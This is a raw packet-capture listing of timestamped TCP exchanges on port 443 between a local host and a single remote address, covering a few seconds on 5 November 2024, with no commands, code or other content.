Nov 5, 2024 22:44:50.851982117 CET	443	50055	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.852066040 CET	50055	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.852212906 CET	50055	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.852225065 CET	443	50055	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.862622023 CET	443	50052	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.862945080 CET	50052	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.862977028 CET	443	50052	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.863410950 CET	50052	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.863425970 CET	443	50052	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.931653976 CET	443	50053	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.931940079 CET	50053	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.931952000 CET	443	50053	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.932419062 CET	50053	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.932424068 CET	443	50053	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.977101088 CET	443	50051	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.977307081 CET	443	50051	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.977472067 CET	50051	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.977472067 CET	50051	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.977472067 CET	50051	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.979934931 CET	50056	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.979964018 CET	443	50056	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.980040073 CET	50056	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.980173111 CET	50056	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.980185986 CET	443	50056	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.993859053 CET	443	50052	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.993884087 CET	443	50052	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.993930101 CET	443	50052	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.993949890 CET	50052	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.993982077 CET	50052	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.994146109 CET	50052	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.994159937 CET	443	50052	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.994170904 CET	50052	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.994177103 CET	443	50052	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.996112108 CET	50057	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.996138096 CET	443	50057	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.996217012 CET	50057	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.996345997 CET	50057	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.996356010 CET	443	50057	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.063373089 CET	443	50053	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.063395977 CET	443	50053	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.063554049 CET	50053	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.063569069 CET	443	50053	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.063698053 CET	50053	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.063704014 CET	443	50053	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.063713074 CET	50053	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.063741922 CET	443	50053	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.063802958 CET	443	50053	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.064603090 CET	50053	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.066204071 CET	50058	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.066232920 CET	443	50058	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.066310883 CET	50058	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.066463947 CET	50058	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.066478014 CET	443	50058	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.285569906 CET	443	50054	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.286397934 CET	50051	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.286418915 CET	443	50051	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.288047075 CET	50054	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.288062096 CET	443	50054	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.288492918 CET	50054	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.288501978 CET	443	50054	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.418049097 CET	443	50054	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.418211937 CET	443	50054	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.418256998 CET	443	50054	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.418324947 CET	50054	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.418481112 CET	50054	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.418498039 CET	443	50054	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.418508053 CET	50054	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.418514013 CET	443	50054	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.422853947 CET	50059	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.422893047 CET	443	50059	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.423018932 CET	50059	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.423568010 CET	50059	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.423580885 CET	443	50059	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.589462996 CET	443	50055	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.592967987 CET	50055	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.592987061 CET	443	50055	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.593427896 CET	50055	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.593432903 CET	443	50055	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.710150957 CET	443	50056	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.712304115 CET	50056	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.712327957 CET	443	50056	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.720462084 CET	50056	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.720468044 CET	443	50056	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.732772112 CET	443	50055	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.732822895 CET	443	50055	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.732877016 CET	50055	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.733092070 CET	50055	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.733107090 CET	443	50055	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.733117104 CET	50055	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.733122110 CET	443	50055	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.735745907 CET	50060	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.735780954 CET	443	50060	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.735953093 CET	50060	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.736099005 CET	50060	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.736109972 CET	443	50060	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.743740082 CET	443	50057	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.744113922 CET	50057	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.744127989 CET	443	50057	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.744535923 CET	50057	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.744539976 CET	443	50057	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.811424017 CET	443	50058	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.813083887 CET	50058	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.813100100 CET	443	50058	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.813396931 CET	50058	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.813402891 CET	443	50058	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.844451904 CET	443	50056	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.844476938 CET	443	50056	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.844516039 CET	443	50056	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.844650030 CET	50056	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.844650030 CET	50056	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.844769955 CET	50056	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.844785929 CET	443	50056	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.844794989 CET	50056	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.844799995 CET	443	50056	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.847321987 CET	50061	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.847357035 CET	443	50061	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.847444057 CET	50061	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.847575903 CET	50061	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.847594023 CET	443	50061	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.882174015 CET	443	50057	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.882391930 CET	443	50057	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.882592916 CET	50057	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.882682085 CET	50057	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.882695913 CET	443	50057	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.882705927 CET	50057	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.882710934 CET	443	50057	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.885353088 CET	50062	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.885380983 CET	443	50062	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.885468006 CET	50062	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.885607958 CET	50062	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.885618925 CET	443	50062	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.966747046 CET	443	50058	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.966772079 CET	443	50058	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.966862917 CET	443	50058	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.967050076 CET	50058	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.967222929 CET	50058	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.967242002 CET	443	50058	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.967255116 CET	50058	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.967259884 CET	443	50058	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.969943047 CET	50063	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.969963074 CET	443	50063	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:51.970045090 CET	50063	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.970185995 CET	50063	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:51.970197916 CET	443	50063	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.249000072 CET	443	50059	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.249608994 CET	50059	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.249635935 CET	443	50059	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.250004053 CET	50059	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.250010967 CET	443	50059	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.388555050 CET	443	50059	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.388787031 CET	443	50059	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.388860941 CET	50059	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.388887882 CET	50059	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.388906002 CET	443	50059	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.388917923 CET	50059	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.388923883 CET	443	50059	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.391793966 CET	50064	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.391814947 CET	443	50064	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.391891956 CET	50064	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.392024040 CET	50064	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.392034054 CET	443	50064	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.498670101 CET	443	50060	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.499188900 CET	50060	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.499214888 CET	443	50060	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.499667883 CET	50060	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.499672890 CET	443	50060	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.614541054 CET	443	50061	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.616888046 CET	50061	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.616911888 CET	443	50061	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.617261887 CET	50061	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.617266893 CET	443	50061	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.629385948 CET	443	50060	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.629656076 CET	443	50060	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.629693031 CET	443	50060	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.629734039 CET	50060	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.629776001 CET	50060	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.629968882 CET	50060	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.629986048 CET	443	50060	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.629997969 CET	50060	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.630003929 CET	443	50060	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.632684946 CET	50065	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.632724047 CET	443	50065	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.632801056 CET	50065	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.633049011 CET	50065	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.633064032 CET	443	50065	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.679452896 CET	443	50062	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.680876017 CET	50062	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.680888891 CET	443	50062	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.681263924 CET	50062	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.681267023 CET	443	50062	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.740750074 CET	443	50063	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.744688988 CET	443	50061	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.744860888 CET	50063	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.744879961 CET	443	50063	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.744915962 CET	443	50061	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.744971037 CET	50061	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.745378017 CET	50063	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.745382071 CET	443	50063	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.745536089 CET	50061	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.745549917 CET	443	50061	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.745558023 CET	50061	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.745564938 CET	443	50061	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.747679949 CET	50066	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.747709036 CET	443	50066	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.747775078 CET	50066	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.747879028 CET	50066	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.747891903 CET	443	50066	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.813873053 CET	443	50062	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.814047098 CET	443	50062	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.814086914 CET	443	50062	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.814106941 CET	50062	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.814148903 CET	50062	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.814306974 CET	50062	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.814316988 CET	443	50062	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.814325094 CET	50062	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.814330101 CET	443	50062	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.816744089 CET	50067	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.816766977 CET	443	50067	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.816840887 CET	50067	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.816967964 CET	50067	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.816981077 CET	443	50067	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.872602940 CET	443	50063	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.872771025 CET	443	50063	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.872927904 CET	50063	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.878678083 CET	50063	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.878689051 CET	443	50063	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.878696918 CET	50063	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.878701925 CET	443	50063	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.881309032 CET	50068	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.881325006 CET	443	50068	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:52.881381989 CET	50068	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.881727934 CET	50068	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:52.881737947 CET	443	50068	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.122674942 CET	443	50064	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.123156071 CET	50064	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.123186111 CET	443	50064	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.123631954 CET	50064	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.123637915 CET	443	50064	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.251822948 CET	443	50064	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.251873016 CET	443	50064	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.251926899 CET	50064	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.252103090 CET	50064	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.252120018 CET	443	50064	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.252130985 CET	50064	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.252135992 CET	443	50064	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.254817963 CET	50069	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.254858017 CET	443	50069	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.254941940 CET	50069	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.255084038 CET	50069	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.255095959 CET	443	50069	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.353153944 CET	443	50065	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.353636980 CET	50065	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.353652000 CET	443	50065	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.354530096 CET	50065	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.354536057 CET	443	50065	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.482680082 CET	443	50065	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.482836008 CET	443	50065	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.482876062 CET	443	50065	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.482892036 CET	50065	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.482925892 CET	50065	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.484641075 CET	50065	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.484661102 CET	443	50065	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.484672070 CET	50065	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.484678030 CET	443	50065	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.488964081 CET	50070	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.489005089 CET	443	50070	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.489074945 CET	50070	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.490338087 CET	50070	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.490350962 CET	443	50070	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.496658087 CET	443	50066	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.497000933 CET	50066	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.497015953 CET	443	50066	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.497456074 CET	50066	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.497462034 CET	443	50066	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.584676981 CET	443	50067	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.585072994 CET	50067	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.585088968 CET	443	50067	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.585515022 CET	50067	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.585520029 CET	443	50067	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.629004002 CET	443	50066	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.629060030 CET	443	50066	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.629301071 CET	50066	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.629400015 CET	50066	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.629410028 CET	443	50066	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.629420042 CET	50066	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.629424095 CET	443	50066	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.632307053 CET	50071	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.632340908 CET	443	50071	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.632431030 CET	50071	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.632550001 CET	50071	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.632563114 CET	443	50071	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.642081976 CET	443	50068	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.642539978 CET	50068	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.642554998 CET	443	50068	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.643024921 CET	50068	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.643028975 CET	443	50068	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.742497921 CET	443	50067	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.742628098 CET	443	50067	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.742804050 CET	50067	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.773540020 CET	443	50068	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.773783922 CET	443	50068	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.773818970 CET	443	50068	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.773951054 CET	50068	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.773951054 CET	50068	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.845402956 CET	50067	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.845429897 CET	443	50067	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.845455885 CET	50067	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.845462084 CET	443	50067	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.854687929 CET	50068	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.854710102 CET	443	50068	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.854722023 CET	50068	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.854728937 CET	443	50068	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.922765970 CET	50072	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.922805071 CET	443	50072	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.922883034 CET	50072	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.927061081 CET	50072	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.927069902 CET	443	50072	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.927639008 CET	50073	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.927679062 CET	443	50073	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.927740097 CET	50073	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.927839994 CET	50073	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:53.927859068 CET	443	50073	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:53.998541117 CET	443	50069	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.003976107 CET	50069	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.003998995 CET	443	50069	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.016918898 CET	50069	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.016925097 CET	443	50069	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.151642084 CET	443	50069	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.151709080 CET	443	50069	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.151767015 CET	50069	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.204830885 CET	50069	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.204859972 CET	443	50069	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.204874992 CET	50069	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.204883099 CET	443	50069	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.211127043 CET	50074	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.211170912 CET	443	50074	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.211253881 CET	50074	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.211661100 CET	50074	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.211673021 CET	443	50074	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.222459078 CET	443	50070	13.107.246.45	192.168.2.5
